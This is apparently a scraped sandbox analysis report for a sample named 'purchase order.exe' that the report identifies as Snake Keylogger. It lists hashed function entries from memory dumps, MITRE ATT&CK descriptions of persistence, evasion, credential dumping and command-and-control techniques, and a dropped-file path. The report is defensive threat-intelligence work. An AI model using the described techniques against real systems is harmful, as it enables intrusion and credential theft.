Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 13769cd38c4d2a87a3adee93d98aac74915440552ebe672d71281ab3a55ec551
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: 75E0EC3490520CDBC714DBB5D94196CBB74BB85314F1495A9980867385C6315A92CB81

Function 06533F88 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 7fd385e438c5c574b1acb62d328200417cafeca99554705d339536e234dcccc1
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: 83E01234D05208EBD714DFA4D94196CBB78FB85315F64D5ADDC0857385CA319E92CF81

Function 06537C30 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 4d9c66880c76a22bd17cb782a833b4dbd56738bd5b929dcf75ca71b424302efa
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: 18E0C274D0420CDBC708DFA4D88296CBB74FB89300F10D1A8DC0823381C6315E92CF84

Function 065334E8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: a35f6686e129e8f8e64a2ab4076586fb63e4e69ad8cea7d80a9436bc205782b5
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: CDE0EC74909218DBC714DFA4D94196CBB78AB85314F1495E9D80957385CA329A92CB81

Function 06537538 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 013e7fc5ff5c39c1122e70268ffbac6a9cde3567acb5a17fa181b99ee50bbb6c
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: FFE0C274D04208DBCB08DFA8D84196CBB78FB89310F10C1ACDC0913381CA319E82CF84

Function 06531DF8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 33542085c31bbdaa38c02eedf51300dc4384597ae4cc85a2fb0f7b389e4c225f
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: 6CE0EC34905208DBCB24DFA4D94196CBB78AB85314F2495A9980857385CB325A92DB81

Function 06530BD8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 0acf682c6fe9d15adecb24b4679c6f689b5263c251f79c720c37b08cd8fce5e4
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: C4E0C234D04208DBC704DFA4D89196CBB78FB85304F10C1ACDC0817381CA315E82CF91

Function 06532BC8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: b2306721f89fe1e1fc20abf559d0382e5ee6af1c82edd9b65e08f0955071fd9a
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: 1FE0EC34909208DBC714DFA4ED9196CBB78AB85314F2495A9980857385CA315A92CB81

Function 0653C910 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction ID: 922d752bac20f9f73a0a5d9ead1c66bf31857d168b2c496200e262e984549ec1
Opcode Fuzzy Hash: 3445f2a677b5bef42112b0a9120a151404748018e213311867c8cd70fbea4415
Instruction Fuzzy Hash: 15E0C235D0420CDBC704DFA4E841A6CBB78FB85304F10D1A8DC4923381CA316E82CF80

Function 0695CB80 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c9cc0f5b91944fb89bc37884f07cebeadec13117b746e06112de89fe770c4b7
Instruction ID: f2f41d8c63014ca5d7a2d6c2391947df9477f290bd08f46f007d8067cea2a721
Opcode Fuzzy Hash: 8c9cc0f5b91944fb89bc37884f07cebeadec13117b746e06112de89fe770c4b7
Instruction Fuzzy Hash: 07E01234D05208DBC714EFA4D94597CBB78EB85314F24D5ADDC0957385C6315E92CB81

Function 065367C8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5542c51c4748d094ba272b1e4f42a31aef1c59d273a91dfa0baf30087291b272
Instruction ID: ca2b0c26120d0cd65394b302cca7f1ffaeb19d94a9442adbdf576875d065f1ee
Opcode Fuzzy Hash: 5542c51c4748d094ba272b1e4f42a31aef1c59d273a91dfa0baf30087291b272
Instruction Fuzzy Hash: D7E0C234C04218EFC754DBA4D85166CBBB4BB45210F1484EDDC5853381D6319E82CF80

Function 06538300 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820337164.0000000006530000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5542c51c4748d094ba272b1e4f42a31aef1c59d273a91dfa0baf30087291b272
Instruction ID: 56f78865ff05ae159d9a59cc7c53bf74d1a9567215df2b61bf10044a9f6528e1
Opcode Fuzzy Hash: 5542c51c4748d094ba272b1e4f42a31aef1c59d273a91dfa0baf30087291b272
Instruction Fuzzy Hash: 7AE0C230C04208DFC754EFA4CC5166CBBB4EB45601F1480E9EC0893381D631AE82CF80

Function 0553DDC8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2817699141.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812b2e0ec0fe248c73367b258ae87f99d872d350184228d96ead80d7f654d751
Instruction ID: 89ff94da2d46b0b91e591a14ecbed4467f255e53e2c43f76db894f7968b33a5b
Opcode Fuzzy Hash: 812b2e0ec0fe248c73367b258ae87f99d872d350184228d96ead80d7f654d751
Instruction Fuzzy Hash: 8CD0A770509208EBCB14CFA4DC42A79B37CFF45354F14989C9C0D53381CA329E52CB80

Function 0553FF78 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2817699141.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48fc70b77c0e92a2e03802d92d369c6723055c3ebad2a0ed7d8dc3718bccbf61
Instruction ID: 82cc875f1cc89bd549831f40b8bf4949db84ab278e4a0a3ab5d66aac675d255e
Opcode Fuzzy Hash: 48fc70b77c0e92a2e03802d92d369c6723055c3ebad2a0ed7d8dc3718bccbf61
Instruction Fuzzy Hash: C6E01270A4020AEFCB80DFB4E90169D7BF6EB44300F5046ACD909E3700E9316E059BE1

Function 0695CFC8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820972382.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6940000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2b3f6ada39be086f8b0d01ccf3857d0039408bccb39f3ad9a85b2fa355e38bf
Instruction ID: 660fef061fc674567d23a04401ae3b17e10083b7cf2ea238af81066ff17c6d8b
Opcode Fuzzy Hash: c2b3f6ada39be086f8b0d01ccf3857d0039408bccb39f3ad9a85b2fa355e38bf
Instruction Fuzzy Hash: 57C08C3008A304CBE36053A0A81C330338C8706215F446C146D0E02882CA2042D4CB80

Function 0553A660 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2817699141.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a28c5bec6d570bcc52b10a0a0692482fcf7a5a4c23373d45e51d98c1b1244327
Instruction ID: fdb857dceb8acab2f6080e57f3a8104d9b851b173d99669582bce52d089c288a
Opcode Fuzzy Hash: a28c5bec6d570bcc52b10a0a0692482fcf7a5a4c23373d45e51d98c1b1244327
Instruction Fuzzy Hash: F0C08C254103044AD3A03BF6EC0E72933483B80202F441028A20D410A38AB180E88EBA

Function 05530840 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2817699141.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5530000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5805c5a8177b15322cf485ff75a716f603059cfcb29e2ec96189d7b65f1f84
Instruction ID: 34802a3511aeee6d20005e41195875f2af05ce313db5d4751f410d3a49c3fd18
Opcode Fuzzy Hash: 3c5805c5a8177b15322cf485ff75a716f603059cfcb29e2ec96189d7b65f1f84
Instruction Fuzzy Hash: 46C0123000AB829EC3078B28DA81541BFB8BA832083E421C7C080CE0B7E225A3029781

Function 0650BE30 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2820076950.0000000006500000.00000040.00000800.00020000.00000000.sdmp, Offset: 06500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6500000_Bohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report purchase order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Bohw.exe

C:\Users\user\AppData\Roaming\Bohw.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
purchase order.exe

Function 05CD9AF8 Relevance: 1.8, Strings: 1, Instructions: 542
COMMON

Function 05CDCBD8 Relevance: 1.6, APIs: 1, Instructions: 107
nativeCOMMON

Function 05CDCBE0 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre